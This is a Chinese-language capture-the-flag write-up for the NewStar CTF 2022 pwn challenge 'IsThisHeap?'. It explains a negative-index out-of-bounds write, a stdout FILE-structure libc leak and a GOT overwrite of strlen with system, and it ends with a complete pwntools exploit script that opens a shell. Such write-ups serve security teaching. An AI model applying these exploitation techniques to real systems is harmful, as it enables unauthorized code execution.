IsThisHeap?
IsThisHeap?
NewStar CTF 2022 公开赛赛道第四周 pwn
前言
一道披着堆题外衣的题,实际上和堆没啥大关系。但是这玩意对于新生来说多少有点难吧......
这是给新生出的题???
攻击思路整理
checksec一下发现是Partial RELRO,got表可写。另外程序未开PIE.
Add,Edit,Show功能都是正常的,但是打开Del的时候遭到了出题人的狠狠嘲讽--不过这个题其实不是堆题,没有Del也无妨。
这个题的漏洞点实际上在对于下标的检测上。

可以看到这里对于下标(int类型)的检测并没有检查是否小于0,因此我们可以越界访问指针数组heaps之前的指针指向的数据。另外请注意这里读入数据的时候会补上一个\x00
heaps这个数组在bss段,而stdout指针存于bss段的起始位置。因此我们可以劫持stdout这个FILE结构。并令其打印出libc基址
关于IO_FILE结构体的利用技巧的讲解,你可以参考我博客中pwn学习笔记专栏下的笔记(可能不尽完善)。也可以参考下面的一些大佬的博客在这里不再赘述。
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
经过简单的计算可知,在输入下标时填入-8即可对应到stdout这个结构体。而这里由于我们Edit的覆写范围为0x30个字节,我们可以覆盖掉write_base和write_ptr,可以将write_base的最低位设置为\x00来打印出stdout结构体中的chain域内容(即stdin的地址)来泄露libc基址。(调试一下你很容易发现write_base正常情况是会指向一个stdout后面附近的地址,这就是覆写为\x00的原因)
flag填0xfbad1800的理由建议参考上面两篇博客,不再赘述(doge)
pay1=p64(0xfbad1800)+p64(0)*3
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f460309e980-0x7f4602eb2000)
之后遇到puts时,会打印出libc基址。
然后我们可以故技重施,利用Dymamic节中的plt.got(这里面有got表的地址,在heaps更上方的位置,应该是-61),来覆写strlen函数的got表项,注意覆写的时候中间经过了puts和write函数,提前用libcbase把它们的基址计算出来填进去,不然中间就寄掉了。提前申请一个堆块写进去/bin/sh\x00,然后再show一下触发strlen函数就ok了
exp如下:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.log_level='debug'
r=process('/home/wjc/Desktop/pwn')
#r=remote('node4.buuoj.cn',27239)
libc=ELF('/home/wjc/Desktop/libc-2.31.so')
puts_got=0x602018
got_write_start=puts_got-0x4c
def cmd(idx):
r.recvuntil('>> ')
r.sendline(str(idx));
def Add(content):
cmd(1)
r.recvuntil('Any data?')
r.sendline(content)
def Edit(idx,content):
cmd(3)
r.recvuntil('Index:')
r.sendline(str(idx))
r.recvuntil('Content:')
r.send(content)
def Show(idx):
cmd(4)
r.recvuntil('Index:')
r.sendline(str(idx))
gdb.attach(r,'b*0x400B6C')
pay1=p64(0xfbad1800)+p64(0)*3
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f460309e980-0x7f4602eb2000)
onegadget=libcbase+0xe3afe
system_addr=libcbase+libc.symbols['system']
write_addr=libcbase+libc.symbols['write']
puts_addr=libcbase+libc.symbols['puts']
write_end=libcbase+0x7f0409a2e723-0x7f0409841000
Add('/bin/sh\x00')
Edit(-61,p64(0)+p64(0)+p64(0)+p64(puts_addr)+p64(write_addr)+p64(system_addr))
Show(0)
print("libcbase:",hex(libcbase))
print('onegadget:',hex(onegadget))
print('write_end:',hex(write_end))
print('puts_addr:',hex(puts_addr))
print('write_addr:',hex(write_addr))
print('system_addr:',hex(system_addr))
r.interactive()

浙公网安备 33010602011771号